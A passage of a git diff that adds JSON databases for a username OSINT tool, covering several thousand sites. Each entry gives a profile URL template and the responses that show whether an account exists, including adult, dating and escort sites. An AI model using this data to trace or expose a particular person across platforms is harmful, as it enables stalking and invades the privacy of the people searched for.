"https://www.kickstarter.com/profile/%s", + "existUsername": "microcosmpublishing", + "nonExistUsername": "microcosmpublishingasdf", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.kickstarter.com/profile/%s", + "status": false + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + + "freepik": { + "url": "https://www.freepik.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.freepik.com/author/%s", + "existUsername": "rawpixel-com", + "nonExistUsername": "rawpixel-comasdf", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.freepik.com/author/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "gettyimages": { + "url": "https://www.gettyimages.hk/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "nonExistRegex": "返回結果為零", + "url": "https://www.gettyimages.hk/search/photographer?photographer=%s", + "existUsername": "Klaus Vedfelt", + "nonExistUsername": "Klaus Vedfeltaaa", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.gettyimages.hk/search/photographer?photographer=%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CN-HK" + } + }, + + + "wikivoyage": { + "url": "https://en.wikivoyage.org/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://en.wikivoyage.org/wiki/User:%s", + "existUsername": "Veracious", + "nonExistUsername": "Veraciousasdf", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://en.wikivoyage.org/wiki/User:%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "arstechnica": { + "url": "https://arstechnica.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://arstechnica.com/author/%s/", + "existUsername": "stephenclark", + "nonExistUsername": "stephenclarkasdf", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://arstechnica.com/author/%s/" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + + "dribbble": { + "url": "https://dribbble.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://dribbble.com/%s", + "existUsername": "odamastudio", + "nonExistUsername": "odamastudioxasd", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://dribbble.com/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + } +} \ No newline at end of file diff --git a/data/sites/dh.json b/data/sites/dh.json new file mode 100644 index 0000000..3898586 --- /dev/null +++ b/data/sites/dh.json @@ -0,0 +1,76365 @@ +{ + "project": "darkHal Security Group - AUTARCH", + "version": "1.1", + "description": "Master sites database for username OSINT with detection patterns", + "total_sites": 8701, + "stats": { + "by_category": { + "forum": 5214, + "other": 1467, + "social": 438, + "tech": 332, + "gaming": 299, + "wiki": 217, + "art": 192, + "adult": 179, + "news": 89, + "shopping": 63, + "finance": 55, + "music": 54, + "professional": 36, + "video": 22, + "dating": 20, + "health": 9, + "torrent": 7, + "sports": 5, + "food": 3 + }, + "by_source": { + "snoop": 4322, + "maigret": 2872, + "social_analyzer": 584, + "blackbird": 421, + "sherlock": 173, + "cupidcr4wl": 142, + "detectdee": 73, + "reveal_my_name": 66, + "nexfil": 48 + }, + "by_error_type": { + "message": 4371, + "status_code": 2938, + "redirection": 938, + "response_url": 150 + } + }, + "sources": [ + "snoop", + "maigret", + "social_analyzer", + "blackbird", + "sherlock", + "cupidcr4wl", + "detectdee", + "reveal_my_name", + "nexfil" + ], + "categories": [ + "forum", + "other", + "social", + "tech", + "gaming", + "wiki", + "art", + "adult", + "news", + "shopping", + "finance", + "music", + "professional", + "video", + "dating", + "health", + "torrent", + "sports", + "food" + ], + "detection_fields": { + "error_type": "Detection method: status_code, message, response_url", + "error_code": "HTTP status code expected when user NOT found (e.g., 404)", + "error_string": "String present in response when user NOT found", + "match_code": "HTTP status code expected when user IS found (e.g., 200)", + "match_string": "String present in response when user IS found" + }, + "sites": [ + { + "name": "0-3.RU", + "url": "http://0-3.ru/members/{}.1/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "0k.clan.su", + "url": "http://0k.clan.su/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "0x00sec", + "url": "https://0x00sec.org/u/{}", + "category": "tech", + "source": "detectdee", + "nsfw": false, + "error_type": "status_code", + "match_code": 200 + }, + { + "name": "0xffff", + "url": "https://0xffff.one/u/{}", + "category": "tech", + "source": "detectdee", + "nsfw": false, + "error_type": "status_code", + "match_code": 200 + }, + { + "name": "1001facts.ru", + "url": "http://1001facts.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "1001mem.ru", + "url": "http://1001mem.ru/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "\u042d\u0442\u043e\u0442 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442, \u0438\u043b\u0438 \u0437\u0430\u0431\u043b\u043e\u043a\u0438\u0440\u043e\u0432\u0430\u043d." + }, + { + "name": "1001tracklists", + "url": "https://www.1001tracklists.com/user/{}/index.html", + "category": "music", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "Sorry, the requested user is not valid!", + "match_string": "Info Page" + }, + { + "name": "101010.pl", + "url": "https://101010.pl/@{}", + "category": "social", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "101vzvod.ucoz.ru", + "url": "http://101vzvod.ucoz.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "101xp.com", + "url": "https://forum-ru.101xp.com/members/{}.1/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "11x2", + "url": "https://11x2.com/user/home/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "123rf", + "url": "https://ru.123rf.com/profile_{}", + "category": "art", + "source": "maigret", + "nsfw": false, + "error_type": "response_url" + }, + { + "name": "1337x", + "url": "https://1337x.to/user/{}/", + "category": "torrent", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "Bad Username.", + "match_string": "Join Date" + }, + { + "name": "1337x", + "url": "https://www.1337x.to/user/{}/", + "category": "torrent", + "source": "sherlock", + "nsfw": false, + "error_type": "message", + "error_string": "Error something went wrong." + }, + { + "name": "1337x", + "url": "http://1337x.to/user/{}/", + "category": "torrent", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "Error something went wrong" + }, + { + "name": "162nord.org", + "url": "http://162nord.org/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "1911forum", + "url": "https://www.1911forum.com/members/?username={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "redirection" + }, + { + "name": "1Baiser", + "url": "https://en.1baiser.com/search?q={}", + "category": "dating", + "source": "cupidcr4wl", + "nsfw": false, + "error_type": "message", + "error_string": "No results were found", + "match_string": "Model " + }, + { + "name": "1klas.3dn.ru", + "url": "http://1klas.3dn.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "1point3acres", + "url": "https://www.1point3acres.com/bbs/space-username-{}.html", + "category": "tech", + "source": "detectdee", + "nsfw": false, + "error_type": "message", + "match_code": 200 + }, + { + "name": "1x", + "url": "https://1x.com/{}", + "category": "art", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "1x.com \u2022 In Pursuit of the Sublime", + "match_string": " onload=" + }, + { + "name": "1xforum", + "url": "https://1xforum.com/member.php?username={}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "21buttons", + "url": "https://www.21buttons.com/buttoner/{}", + "category": "social", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "not-found__main", + "match_string": "profile-info" + }, + { + "name": "23hq", + "url": "http://www.23hq.com/{}", + "category": "art", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "my-modal", + "match_string": "frame" + }, + { + "name": "24", + "url": "https://24.wikia.com/wiki/User:{}", + "category": "gaming", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "247CTF", + "url": "https://247ctf.com/progress/{}", + "category": "tech", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 302, + "error_string": "

    Redirecting...

    ", + "match_code": 200, + "match_string": "property=\"og:url\"" + }, + { + "name": "247sports", + "url": "https://247sports.com/user/{}/", + "category": "gaming", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "247sports", + "url": "https://247sports.com/User/{}/", + "category": "gaming", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 404, + "error_string": "247Sports", + "match_code": 200, + "match_string": "3DMir.ru - ", + "match_string": "
    " + }, + { + "name": "3dnews", + "url": "http://forum.3dnews.ru//member.php?username={}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "3DNews", + "url": "https://forum.3dnews.tech/member.php?username={}", + "category": "social", + "source": "blackbird", + "nsfw": false, + "error_type": "message", + "error_code": 200, + "error_string": "\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u0437\u0430\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043d", + "match_code": 200, + "match_string": "\u041f\u0440\u043e\u0441\u043c\u043e\u0442\u0440 \u043f\u0440\u043e\u0444\u0438\u043b\u044f:" + }, + { + "name": "3DNews", + "url": "http://forum.3dnews.ru/member.php?username={}", + "category": "social", + "source": "reveal_my_name", + "nsfw": false, + "error_type": "message", + "error_code": 200, + "error_string": "\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u0437\u0430\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043d \u0438 \u043d\u0435 \u0438\u043c\u0435\u0435\u0442 \u043f\u0440\u043e\u0444\u0438\u043b\u044f \u0434\u043b\u044f \u043f\u0440\u043e\u0441\u043c\u043e\u0442\u0440\u0430.", + "match_code": 200, + "match_string": "\u0424\u043e\u0440\u0443\u043c 3DNews - \u041f\u0440\u043e\u0441\u043c\u043e\u0442\u0440 \u043f\u0440\u043e\u0444\u0438\u043b\u044f:" + }, + { + "name": "3dtoday", + "url": "https://3dtoday.ru/blogs/{}", + "category": "art", + "source": "maigret", + "nsfw": false, + "error_type": "response_url" + }, + { + "name": "3glaz.org", + "url": "http://3glaz.org/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "3rm", + "url": "https://3rm.info/user/{}/", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "42km", + "url": "http://www.42km.ru/c?name={}&x=0&y=0&country_id=1&town_id=0&sex=0&grade_id=0", + "category": "sports", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u043d\u0438\u0447\u0435\u0433\u043e \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e" + }, + { + "name": "4399", + "url": "https://ptlogin.4399.com/ptlogin/isExist.do?username={}&appId=u4399®Mode=reg_normal&v=2", + "category": "tech", + "source": "detectdee", + "nsfw": false, + "error_type": "message", + "match_code": 200 + }, + { + "name": "440101.3dn.ru", + "url": "http://440101.3dn.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "4948.ru", + "url": "http://4948.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "4allforum", + "url": "https://4allforum.ru/search.php?keywords=&terms=all&author={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u0418\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044f" + }, + { + "name": "4cheat", + "url": "https://4cheat.ru/members/{}.1/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "4gameforum", + "url": "https://4gameforum.com/members/{}.1/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "4gameforum", + "url": "https://4gameforum.com/members/?username={}", + "category": "gaming", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "
    " + }, + { + "name": "4pda", + "url": "https://4pda.ru/forum/index.php?act=search&source=pst&noform=1&username={}", + "category": "tech", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "\u041a \u0441\u043e\u0436\u0430\u043b\u0435\u043d\u0438\u044e, \u0412\u0430\u0448 \u043f\u043e\u0438\u0441\u043a \u043d\u0435 \u0434\u0430\u043b \u043d\u0438\u043a\u0430\u043a\u0438\u0445 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u043e\u0432." + }, + { + "name": "4pda", + "url": "https://4pda.to/forum/index.php?act=search&source=pst&noform=1&username={}", + "category": "tech", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u041a \u0441\u043e\u0436\u0430\u043b\u0435\u043d\u0438\u044e, \u0412\u0430\u0448 \u043f\u043e\u0438\u0441\u043a \u043d\u0435 \u0434\u0430\u043b \u043d\u0438\u043a\u0430\u043a\u0438\u0445 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u043e\u0432." + }, + { + "name": "4stor", + "url": "https://4stor.ru/user/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "4x4_tomsk", + "url": "http://4x4.tomsk.ru/search.php?keywords=&terms=all&author={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u043e\u0434\u0445\u043e\u0434\u044f\u0449\u0438\u0445 \u0442\u0435\u043c \u0438\u043b\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e." + }, + { + "name": "500px", + "url": "https://500px.com/p/{}", + "category": "art", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "No message available" + }, + { + "name": "50cc.com.ua", + "url": "http://50cc.com.ua/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "52pojie", + "url": "https://www.52pojie.cn/forum.php?mod=ajax&inajax=yes&infloat=register&handlekey=register&ajaxmenu=1&action=checkusername&username={}", + "category": "tech", + "source": "detectdee", + "nsfw": false, + "error_type": "message", + "match_code": 200 + }, + { + "name": "5escorts", + "url": "https://www.5escorts.com/search/?keyword={}&category=ads", + "category": "adult", + "source": "cupidcr4wl", + "nsfw": false, + "error_type": "message", + "error_string": "Could not find what you were looking for?", + "match_string": "/ads/details/" + }, + { + "name": "5i8.ucoz.ru", + "url": "http://5i8.ucoz.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "5level.ucoz.net", + "url": "http://5level.ucoz.net/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "63148.com.ua", + "url": "http://63148.com.ua/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "655iap.ucoz.ru", + "url": "http://655iap.ucoz.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "74507.ucoz.ru", + "url": "http://74507.ucoz.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "78-3.do.am", + "url": "http://78-3.do.am/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "7Cups", + "url": "https://www.7cups.com/@{}", + "category": "social", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "7Cups", + "url": "https://7cups.com/@{}", + "category": "social", + "source": "social_analyzer", + "nsfw": false, + "error_type": "message", + "error_string": "Not Found", + "match_string": "Profile - 7 Cups" + }, + { + "name": "7dach", + "url": "https://7dach.ru/profile/{}", + "category": "food", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "7x.net.ua", + "url": "http://7x.net.ua/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "7ya", + "url": "https://blog.7ya.ru/{}/", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "8tracks.com", + "url": "https://8tracks.com/{}", + "category": "music", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "This page has vanished, or perhaps it never even existed...", + "match_string": "Following" + }, + { + "name": "90sec", + "url": "https://forum.90sec.com/u/check_username?username={}&email=", + "category": "tech", + "source": "detectdee", + "nsfw": false, + "error_type": "message", + "match_code": 200 + }, + { + "name": "96.moy.su", + "url": "http://96.moy.su/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "999.md", + "url": "https://999.md/ru/profile/{}", + "category": "finance", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "error-404-page", + "match_string": "user-profile" + }, + { + "name": "99designs.com", + "url": "https://99designs.com/profiles/{}", + "category": "art", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "mobile-only", + "match_string": "profileUrl" + }, + { + "name": "9GAG", + "url": "https://www.9gag.com/u/{}", + "category": "news", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "9Gag", + "url": "https://9gag.com/u/{}", + "category": "news", + "source": "social_analyzer", + "nsfw": false, + "error_type": "message", + "error_string": "There's nothing here", + "match_string": "og:title" + }, + { + "name": "9interi.3dn.ru", + "url": "http://9interi.3dn.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "aaha_chat", + "url": "https://www.aahachat.org/profile/{}/", + "category": "social", + "source": "reveal_my_name", + "nsfw": false, + "error_type": "status_code", + "error_code": 301, + "error_string": "Aaha Chat Rooms - ", + "match_code": 200, + "match_string": "og:title" + }, + { + "name": "Aahachat", + "url": "https://aahachat.org/profile/{}/", + "category": "other", + "source": "social_analyzer", + "nsfw": false, + "error_type": "message", + "match_string": "full-profile" + }, + { + "name": "Aback", + "url": "https://aback.com.ua/user/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u0441 \u0442\u0430\u043a\u0438\u043c \u0438\u043c\u0435\u043d\u0435\u043c \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d." + }, + { + "name": "abc-accounting.ucoz.net", + "url": "http://abc-accounting.ucoz.net/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "abho.ru", + "url": "http://abho.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Abirvalg", + "url": "https://abirvalg.net/forum/members/?username={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "redirection" + }, + { + "name": "Able2know", + "url": "https://able2know.org/user/{}/", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "response_url" + }, + { + "name": "Abordazh", + "url": "https://abordazh.com/forum/users/?PAGE_NAME=user_list&user_name={}&date_last_visit1=&date_last_visit2=&sort=NUM_POSTS&set_filter=%D0%A4%D0%B8%D0%BB%D1%8C%D1%82%D1%80", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "</script>\n<script>\nvar bx_basketT0kNhm" + }, + { + "name": "About.me", + "url": "https://about.me/{}", + "category": "social", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Aboutcar", + "url": "http://aboutcar.ru/members/{}.html", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u0437\u0430\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043d \u0438 \u043d\u0435 \u0438\u043c\u0435\u0435\u0442 \u043f\u0440\u043e\u0444\u0438\u043b\u044f \u0434\u043b\u044f \u043f\u0440\u043e\u0441\u043c\u043e\u0442\u0440\u0430." + }, + { + "name": "AboutUS", + "url": "https://aboutus.com/User:{}", + "category": "wiki", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "is not registered" + }, + { + "name": "Academia.edu", + "url": "https://independent.academia.edu/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "accounts.eclipse.org", + "url": "https://accounts.eclipse.org/users/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "ACF", + "url": "https://support.advancedcustomfields.com/forums/users/{}/", + "category": "tech", + "source": "blackbird", + "nsfw": false, + "error_type": "message", + "error_code": 200, + "error_string": "Page Not Found", + "match_code": 200, + "match_string": "<title>ACF Support" + }, + { + "name": "Acomics", + "url": "https://acomics.ru/-{}", + "category": "art", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "actikom.ucoz.ru", + "url": "http://actikom.ucoz.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "actual-porn.org", + "url": "http://actual-porn.org/member.php?username={}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "adblockplus.org", + "url": "https://adblockplus.org/forum/search.php?keywords=&terms=all&author={}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "No suitable matches were found.", + "match_string": "searchresults" + }, + { + "name": "admin-soft.ucoz.ru", + "url": "http://admin-soft.ucoz.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "AdmireMe.Vip", + "url": "https://admireme.vip/{}", + "category": "adult", + "source": "sherlock", + "nsfw": true, + "error_type": "message", + "error_string": "Page Not Found" + }, + { + "name": "AdmireMe.VIP", + "url": "https://admireme.vip/{}/", + "category": "adult", + "source": "blackbird", + "nsfw": true, + "error_type": "status_code", + "error_code": 404, + "error_string": "<title>Page Not Found |", + "match_code": 200, + "match_string": "creator-stat subscriber" + }, + { + "name": "Adore", + "url": "https://adore.one/en/users/{}", + "category": "adult", + "source": "social_analyzer", + "nsfw": false, + "error_type": "message", + "match_string": "profile-images" + }, + { + "name": "Adult Look (International)", + "url": "https://www.adultlook.com/search/?query={}&rq={}&advanced=1", + "category": "adult", + "source": "cupidcr4wl", + "nsfw": false, + "error_type": "message", + "error_string": "No results found to show", + "match_string": "results found</span>" + }, + { + "name": "Adult_Forum", + "url": "https://adultforum.gr/{}-glamour-escorts/", + "category": "adult", + "source": "blackbird", + "nsfw": true, + "error_type": "status_code", + "error_code": 404, + "error_string": "Page not found - Adult Forum Gr", + "match_code": 200, + "match_string": "Glamour Escorts " + }, + { + "name": "Adultdvdtalk", + "url": "https://www.adultdvdtalk.com/profile/{}", + "category": "adult", + "source": "snoop", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "AdultFriendFinder", + "url": "https://adultfriendfinder.com/profile/{}", + "category": "adult", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "<select name=\"REG_sex\" >" + }, + { + "name": "Adultism", + "url": "https://adultism.com/profile/{}", + "category": "adult", + "source": "social_analyzer", + "nsfw": true, + "error_type": "message", + "match_string": "\"nick\"" + }, + { + "name": "AdvancedCustomFields", + "url": "https://support.advancedcustomfields.com/forums/users/{}", + "category": "tech", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "Sorry, page not found" + }, + { + "name": "Advego", + "url": "https://advego.com/profile/{}/author/", + "category": "professional", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "ADVFN", + "url": "https://uk.advfn.com/forum/profile/{}", + "category": "finance", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 404, + "error_string": "ADVFN ERROR - Page Not Found", + "match_code": 200, + "match_string": "Profile | ADVFN" + }, + { + "name": "Aelita", + "url": "http://iaelita.ru/profile/{}/", + "category": "other", + "source": "snoop", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "aetherhub", + "url": "https://aetherhub.com/User/{}", + "category": "gaming", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Affiliatefix", + "url": "https://www.affiliatefix.com/members/{}.1/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Affiliatefix", + "url": "https://www.affiliatefix.com/members/?username={}", + "category": "social", + "source": "snoop", + "nsfw": false, + "error_type": "redirection" + }, + { + "name": "aflam", + "url": "https://www.aflam4you.net/profile.html?u={}", + "category": "other", + "source": "reveal_my_name", + "nsfw": false, + "error_type": "status_code", + "error_code": 302, + "error_string": "Plz Visit", + "match_code": 200, + "match_string": ") on \u0628\u062b \u062d\u064a \u0648 \u0645\u0628\u0627\u0634\u0631" + }, + { + "name": "AfreecaTV", + "url": "http://bjapi.afreecatv.com/api/{}/station", + "category": "video", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "Blog does not exist.", + "match_string": "profile_text" + }, + { + "name": "afsoc.ucoz.ru", + "url": "http://afsoc.ucoz.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Afterellen", + "url": "https://forums.afterellen.com/members/?username={}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "The specified member cannot be found" + }, + { + "name": "AG", + "url": "https://ag.ru/@{}", + "category": "social", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "profile-head__name__single-word__name\"></div></div></h1></div>" + }, + { + "name": "Agniyogaineverydaylife_CLOSEDEAD", + "url": "http://agniyogaineverydaylife.bestforums.org/search.php?keywords=&terms=all&author={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u043e\u0434\u0445\u043e\u0434\u044f\u0449\u0438\u0445 \u0442\u0435\u043c \u0438\u043b\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e." + }, + { + "name": "Agro", + "url": "https://agro-ua.org.ua/{}", + "category": "other", + "source": "snoop", + "nsfw": false, + "error_type": "response_url" + }, + { + "name": "ahera.ru", + "url": "http://ahera.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "aikido-mariupol.ucoz.ru", + "url": "http://aikido-mariupol.ucoz.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Airbit", + "url": "https://airbit.com/{}", + "category": "music", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Airline_Pilot_Life", + "url": "https://airlinepilot.life/u/{}.json", + "category": "social", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 404, + "error_string": "he requested URL or resource could not be found.", + "match_code": 200, + "match_string": "primary_group_name" + }, + { + "name": "airlinepilot.life", + "url": "https://airlinepilot.life/u/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Airliners", + "url": "https://www.airliners.net/user/{}/profile/photos", + "category": "art", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Airliners", + "url": "https://www.airliners.net/user/{}/profile", + "category": "social", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 404, + "error_string": "An Error Occurred", + "match_code": 200, + "match_string": "'s Profile | Airliners Members | Airliners.net" + }, + { + "name": "Airliners", + "url": "https://airliners.net/user/{}/profile/photos", + "category": "art", + "source": "social_analyzer", + "nsfw": false, + "error_type": "message", + "match_string": "user-follower-button" + }, + { + "name": "Akbrny", + "url": 